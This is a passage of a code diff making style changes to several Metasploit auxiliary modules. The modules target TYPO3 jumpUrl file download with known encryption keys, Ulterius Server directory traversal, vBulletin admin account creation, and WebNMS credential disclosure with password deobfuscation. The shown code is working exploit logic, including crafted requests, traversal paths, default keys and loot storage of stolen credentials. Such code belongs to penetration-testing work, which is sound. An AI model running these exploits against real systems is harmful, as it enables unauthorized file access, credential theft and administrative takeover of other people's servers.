'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
|
||||
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
|
||||
# TYPO3 4.4.7+
|
||||
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
|
||||
# TYPO3 4.5.0
|
||||
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
|
||||
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
|
||||
# TYPO3 4.5.2
|
||||
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
|
||||
# TYPO3 4.5.3
|
||||
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
|
||||
# TYPO3 4.5.4 - 4.5.7
|
||||
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
|
||||
]
|
||||
end
|
||||
|
||||
counter = 0
|
||||
encryption_keys.each do |enc_key|
|
||||
|
||||
counter = counter +1
|
||||
locationData = Rex::Text::rand_text_numeric(1) +'::'+ Rex::Text::rand_text_numeric(2)
|
||||
case datastore['RFILE']
|
||||
when nil
|
||||
# Nothing
|
||||
when /localconf\.php$/i
|
||||
jumpurl = "#{datastore['RFILE']}%00/."
|
||||
jumpurl_len = jumpurl.length - 2 # Account for difference in length with null byte
|
||||
jumpurl_enc = jumpurl.sub('%00', "\00") # Replace %00 with \00 to correct null byte format
|
||||
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
|
||||
when %r{^\.\.(/|\\)}i
|
||||
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
|
||||
else
|
||||
jumpurl_len = datastore['RFILE'].length
|
||||
jumpurl = datastore['RFILE'].to_s
|
||||
jumpurl_enc = datastore['RFILE'].to_s
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'Short_MD5'
|
||||
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
|
||||
juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
|
||||
juhash = Digest::MD5.hexdigest(juarray)
|
||||
juhash = juhash[0..9] # shortMD5 value for use as juhash
|
||||
print_status('Performing downloading using Short_MD5 style juHash creation - see show actions for more details')
|
||||
when 'MIME'
|
||||
juarray = "a:4:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
|
||||
juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
|
||||
juhash = Digest::MD5.hexdigest(juarray)
|
||||
juhash = juhash[0..9] # shortMD5 value for use as juhash
|
||||
print_status('Performing downloading using MIME style juHash creation - see show actions for more details')
|
||||
when 'HMAC_SHA1'
|
||||
juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
|
||||
juarray << "s:0:\"\";}"
|
||||
juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
|
||||
print_status('Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details')
|
||||
end
|
||||
|
||||
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
|
||||
file_uri = file_uri.sub("//", "/") # Prevent double // from appearing in uri
|
||||
vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")
|
||||
print_status("Establishing a connection to #{rhost}:#{rport}")
|
||||
print_status("Trying to retrieve #{datastore['RFILE']}")
|
||||
|
||||
begin
|
||||
file = send_request_raw({
|
||||
'uri' => file_uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close',
|
||||
}
|
||||
},25)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error(e.message)
|
||||
return
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
return
|
||||
end
|
||||
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
return
|
||||
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
|
||||
print_error("File #{datastore['RFILE']} is not accessible.")
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
return
|
||||
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
|
||||
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
return
|
||||
end
|
||||
when 'application/octet-stream'
|
||||
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
print_good("Writing local file " + File.basename(datastore['RFILE'].downcase) + " to loot")
|
||||
store_loot("typo3_" + File.basename(datastore['RFILE'].downcase), "text/xml", addr, file.body, "typo3_" + File.basename(datastore['RFILE'].downcase), "Typo3_winstaller")
|
||||
return
|
||||
if datastore['ENC_KEY'] != ''
|
||||
encryption_keys = [datastore['ENC_KEY']]
|
||||
print_status('Using provided Encryption Key')
|
||||
else
|
||||
if datastore['ENC_KEY'] != ""
|
||||
print_error("Encryption Key specified is not correct")
|
||||
print_status('Rotating through known encryption keys')
|
||||
encryption_keys = [
|
||||
# TYPO3 4.3.x - 4.4.x
|
||||
'd696ab49a803d7816021cb1768a6917d',
|
||||
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
|
||||
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
|
||||
# TYPO3 4.4.7+
|
||||
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
|
||||
# TYPO3 4.5.0
|
||||
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
|
||||
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
|
||||
# TYPO3 4.5.2
|
||||
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
|
||||
# TYPO3 4.5.3
|
||||
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
|
||||
# TYPO3 4.5.4 - 4.5.7
|
||||
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
|
||||
]
|
||||
end
|
||||
|
||||
counter = 0
|
||||
encryption_keys.each do |enc_key|
|
||||
counter += 1
|
||||
locationData = Rex::Text.rand_text_numeric(1) + '::' + Rex::Text.rand_text_numeric(2)
|
||||
|
||||
case action.name
|
||||
when 'Short_MD5'
|
||||
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
|
||||
juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
|
||||
juhash = Digest::MD5.hexdigest(juarray)
|
||||
juhash = juhash[0..9] # shortMD5 value for use as juhash
|
||||
when 'MIME'
|
||||
juarray = "a:4:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
|
||||
juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
|
||||
juhash = Digest::MD5.hexdigest(juarray)
|
||||
juhash = juhash[0..9] # shortMD5 value for use as juhash
|
||||
when 'HMAC_SHA1'
|
||||
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
|
||||
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
|
||||
juarray << 's:0:"";}'
|
||||
juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
|
||||
end
|
||||
|
||||
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
|
||||
file_uri = file_uri.sub('//', '/') # Prevent double // from appearing in uri
|
||||
vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")
|
||||
|
||||
begin
|
||||
file = send_request_raw({
|
||||
'uri' => file_uri,
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => 'Close'
|
||||
}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error(e.message)
|
||||
return
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
return
|
||||
end
|
||||
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
|
||||
print_error("File #{datastore['RFILE']} does not exist.")
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
return
|
||||
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
|
||||
print_error("File #{datastore['RFILE']} is not accessible.")
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
return
|
||||
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
|
||||
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
return
|
||||
end
|
||||
when 'application/octet-stream'
|
||||
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
|
||||
print_good("Discovered encryption key : #{enc_key}")
|
||||
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
|
||||
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_winstaller')
|
||||
return
|
||||
else
|
||||
if datastore['ENC_KEY'] != ''
|
||||
print_error('Encryption Key specified is not correct')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
|
||||
print_error("Maybe try checking the ACTIONS - Currently using #{action.name}")
|
||||
|
||||
print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
|
||||
print_error("Maybe try checking the ACTIONS - Currently using #{action.name}")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,46 +7,49 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ulterius Server File Download Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
|
||||
to download files from the affected host. A valid file path is needed to download a file.
|
||||
Fortunately, Ulterius indexes every file on the system, which can be stored in the
|
||||
following location:
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Ulterius Server File Download Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
|
||||
to download files from the affected host. A valid file path is needed to download a file.
|
||||
Fortunately, Ulterius indexes every file on the system, which can be stored in the
|
||||
following location:
|
||||
|
||||
http://ulteriusURL:port/.../fileIndex.db.
|
||||
|
||||
This module can download and parse the fileIndex.db file. There is also an option to
|
||||
download a file using a provided path.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Rick Osgood', # Vulnerability discovery and PoC
|
||||
'Jacob Robles' # Metasploit module
|
||||
This module can download and parse the fileIndex.db file. There is also an option to
|
||||
download a file using a provided path.
|
||||
},
|
||||
'Author' => [
|
||||
'Rick Osgood', # Vulnerability discovery and PoC
|
||||
'Jacob Robles' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'EDB', '43141' ],
|
||||
[ 'CVE', '2017-16806' ]
|
||||
]))
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(22006),
|
||||
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
|
||||
])
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(22006),
|
||||
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def process_data(index, parse_data)
|
||||
length = parse_data[index].unpack('C')[0]
|
||||
length += parse_data[index+1].unpack('C')[0]
|
||||
length += parse_data[index+2].unpack('C')[0]
|
||||
length += parse_data[index+3].unpack('C')[0]
|
||||
length += parse_data[index + 1].unpack('C')[0]
|
||||
length += parse_data[index + 2].unpack('C')[0]
|
||||
length += parse_data[index + 3].unpack('C')[0]
|
||||
|
||||
index += 4
|
||||
filename = parse_data[index...index+length]
|
||||
filename = parse_data[index...index + length]
|
||||
index += length
|
||||
return index, filename
|
||||
end
|
||||
|
@ -56,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
data_inflated = zi.inflate(data)
|
||||
|
||||
parse_data = data_inflated[8...-1]
|
||||
remote_files = ""
|
||||
remote_files = ''
|
||||
|
||||
index = 0
|
||||
print_status('Starting to parse fileIndex.db...')
|
||||
|
@ -65,11 +68,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
index, directory = process_data(index, parse_data)
|
||||
remote_files << directory + '\\' + filename + "\n"
|
||||
|
||||
#skip FFFFFFFFFFFFFFFF
|
||||
# skip FFFFFFFFFFFFFFFF
|
||||
index += 8
|
||||
end
|
||||
myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system')
|
||||
print_status("Remote file paths saved in: #{myloot.to_s}")
|
||||
print_status("Remote file paths saved in: #{myloot}")
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -96,7 +99,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
inflate_parse(res.body)
|
||||
else
|
||||
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system')
|
||||
print_status("File contents saved: #{myloot.to_s}")
|
||||
print_status("File contents saved: #{myloot}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,91 +8,93 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'vBulletin Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'vBulletin Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
|
||||
create a new administrator account, as exploited in the wild on October 2013. This module
|
||||
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Unknown', # Vulnerability discoverer? found in the wild
|
||||
'juan vazquez' #metasploit module
|
||||
'juan vazquez' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2013-6129' ],
|
||||
[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
|
||||
[ 'OSVDB', '98370' ],
|
||||
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
|
||||
],
|
||||
'DisclosureDate' => '2013-10-09'))
|
||||
'DisclosureDate' => '2013-10-09'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
|
||||
OptString.new('TARGETURI', [ true, 'The vbulletin URI', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
|
||||
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore["USERNAME"]
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def pass
|
||||
datastore["PASSWORD"]
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if user == pass
|
||||
print_error("Please select a password different than the username")
|
||||
print_error('Please select a password different than the username')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Trying a new admin vBulletin account...")
|
||||
print_status('Trying a new admin vBulletin account...')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
|
||||
'method' =>'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'install', 'upgrade.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
"version" => "install",
|
||||
"response" => "true",
|
||||
"checktable" => "false",
|
||||
"firstrun" => "false",
|
||||
"step" => "7",
|
||||
"startat" => "0",
|
||||
"only" => "false",
|
||||
"options[skiptemplatemerge]" => "0",
|
||||
"reponse" => "yes",
|
||||
"htmlsubmit" => "1",
|
||||
"htmldata[username]" => user,
|
||||
"htmldata[password]" => pass,
|
||||
"htmldata[confirmpassword]" => pass,
|
||||
"htmldata[email]" => datastore["EMAIL"]
|
||||
'version' => 'install',
|
||||
'response' => 'true',
|
||||
'checktable' => 'false',
|
||||
'firstrun' => 'false',
|
||||
'step' => '7',
|
||||
'startat' => '0',
|
||||
'only' => 'false',
|
||||
'options[skiptemplatemerge]' => '0',
|
||||
'reponse' => 'yes',
|
||||
'htmlsubmit' => '1',
|
||||
'htmldata[username]' => user,
|
||||
'htmldata[password]' => pass,
|
||||
'htmldata[confirmpassword]' => pass,
|
||||
'htmldata[email]' => datastore['EMAIL']
|
||||
},
|
||||
'headers' => {
|
||||
"X-Requested-With" => "XMLHttpRequest"
|
||||
'X-Requested-With' => 'XMLHttpRequest'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Administrator account created/
|
||||
if res && (res.code == 200) && res.body =~ (/Administrator account created/)
|
||||
print_good("Admin account with credentials #{user}:#{pass} successfully created")
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: res.body
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: res.body
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
else
|
||||
print_error("Admin account creation failed")
|
||||
print_error('Admin account creation failed')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,27 +12,25 @@ class MetasploitModule < Msf::Auxiliary
|
|||
update_info(
|
||||
info,
|
||||
'Name' => 'WebNMS Framework Server Credential Disclosure',
|
||||
'Description' => %q(
|
||||
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
|
||||
all user credentials. The first vulnerability is an unauthenticated file download
|
||||
in the FetchFile servlet, which is used to download the file containing the user
|
||||
credentials. The second vulnerability is that the passwords in the file are
|
||||
obfuscated with a very weak algorithm which can be easily reversed.
|
||||
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
|
||||
Windows and Linux.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'Description' => %q{
|
||||
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
|
||||
all user credentials. The first vulnerability is an unauthenticated file download
|
||||
in the FetchFile servlet, which is used to download the file containing the user
|
||||
credentials. The second vulnerability is that the passwords in the file are
|
||||
obfuscated with a very weak algorithm which can be easily reversed.
|
||||
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
|
||||
Windows and Linux.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-6601'],
|
||||
[ 'CVE', '2016-6602'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2016-6601'],
|
||||
[ 'CVE', '2016-6602'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'DisclosureDate' => '2016-07-04'
|
||||
)
|
||||
)
|
||||
|
@ -40,7 +38,7 @@ Windows and Linux.
|
|||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 9090]),
|
||||
OptString.new('TARGETURI', [true, "WebNMS path", '/'])
|
||||
OptString.new('TARGETURI', [true, 'WebNMS path', '/'])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
|
@ -49,8 +47,8 @@ Windows and Linux.
|
|||
def version_check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'fileName' => 'help/index.html' }
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
||||
|
@ -71,8 +69,8 @@ Windows and Linux.
|
|||
version_check
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
||||
|
@ -82,8 +80,8 @@ Windows and Linux.
|
|||
|
||||
if res && res.code == 200 && !res.body.empty?
|
||||
cred_table = Rex::Text::Table.new(
|
||||
'Header' => 'WebNMS Login Credentials',
|
||||
'Indent' => 1,
|
||||
'Header' => 'WebNMS Login Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Username',
|
||||
|
@ -91,34 +89,34 @@ Windows and Linux.
|
|||
]
|
||||
)
|
||||
print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
|
||||
res.body.to_s.each_line { |line|
|
||||
res.body.to_s.each_line do |line|
|
||||
# we need these checks because username and password might appear in any random position in the line
|
||||
if line.include? "username="
|
||||
username = line.match(/username="([\w]*)"/)[1]
|
||||
if line.include? 'username='
|
||||
username = line.match(/username="(\w*)"/)[1]
|
||||
end
|
||||
if line.include? "password="
|
||||
password = line.match(/password="([\w]*)"/)[1]
|
||||
if line.include? 'password='
|
||||
password = line.match(/password="(\w*)"/)[1]
|
||||
end
|
||||
if password && username
|
||||
plaintext_password = super_redacted_deobfuscation(password)
|
||||
cred_table << [ username, plaintext_password ]
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: username,
|
||||
private_data: plaintext_password,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
}
|
||||
next unless password && username
|
||||
|
||||
plaintext_password = super_redacted_deobfuscation(password)
|
||||
cred_table << [ username, plaintext_password ]
|
||||
connection_details = {
|
||||
module_fullname: fullname,
|
||||
username: username,
|
||||
private_data: plaintext_password,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(cred_table.to_s)
|
||||
loot_name = 'webnms.creds'
|
||||
loot_type = 'text/csv'
|
||||
loot_name = 'webnms.creds'
|
||||
loot_type = 'text/csv'
|
||||
loot_filename = 'webnms_login_credentials.csv'
|
||||
loot_desc = 'WebNMS Login Credentials'
|
||||
loot_desc = 'WebNMS Login Credentials'
|
||||
p = store_loot(
|
||||
loot_name,
|
||||
loot_type,
|
||||
|
@ -136,7 +134,7 @@ Windows and Linux.
|
|||
# I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
|
||||
def super_redacted_deobfuscation(ciphertext)
|
||||
input = ciphertext
|
||||
input = input.gsub("Z", "000")
|
||||
input = input.gsub('Z', '000')
|
||||
|
||||
base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
|
||||
base.push 'I'
|
||||
|
@ -161,7 +159,7 @@ Windows and Linux.
|
|||
partnum += pos.to_s
|
||||
if pos == 0
|
||||
if !startnum
|
||||
answer += "0"
|
||||
answer += '0'
|
||||
end
|
||||
else
|
||||
startnum = true
|
||||
|
@ -181,7 +179,7 @@ Windows and Linux.
|
|||
pos += 1
|
||||
end
|
||||
|
||||
if partnum.to_s == "00000"
|
||||
if partnum.to_s == '00000'
|
||||
if remainder != 0
|
||||
tempo = remainder.to_s
|
||||
temp1 = answer[0..(tempo.length)]
|
||||
|
@ -208,7 +206,7 @@ Windows and Linux.
|
|||
partnum += pos.to_s
|
||||
if pos == 0
|
||||
if !startnum
|
||||
answer += "0"
|
||||
answer += '0'
|
||||
end
|
||||
else
|
||||
startnum = true
|
||||
|
@ -250,6 +248,6 @@ Windows and Linux.
|
|||
end
|
||||
|
||||
def service_details
|
||||
super.merge({service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP')}) # this should possibly be removed
|
||||
super.merge({ service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP') }) # this should possibly be removed
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,36 +12,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
update_info(
|
||||
info,
|
||||
'Name' => 'WebNMS Framework Server Arbitrary Text File Download',
|
||||
'Description' => %q(
|
||||
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
|
||||
unauthenticated user to download files off the file system by using a directory
|
||||
traversal attack on the FetchFile servlet.
|
||||
Note that only text files can be downloaded properly, as any binary file will get
|
||||
mangled by the servlet. Also note that for Windows targets you can only download
|
||||
files that are in the same drive as the WebNMS installation.
|
||||
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
|
||||
Windows and Linux.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'Description' => %q{
|
||||
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
|
||||
unauthenticated user to download files off the file system by using a directory
|
||||
traversal attack on the FetchFile servlet.
|
||||
Note that only text files can be downloaded properly, as any binary file will get
|
||||
mangled by the servlet. Also note that for Windows targets you can only download
|
||||
files that are in the same drive as the WebNMS installation.
|
||||
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
|
||||
Windows and Linux.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-6601'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2016-6601'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'DisclosureDate' => '2016-07-04'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 9090]),
|
||||
OptString.new('TARGETURI', [ true, "WebNMS path", '/']),
|
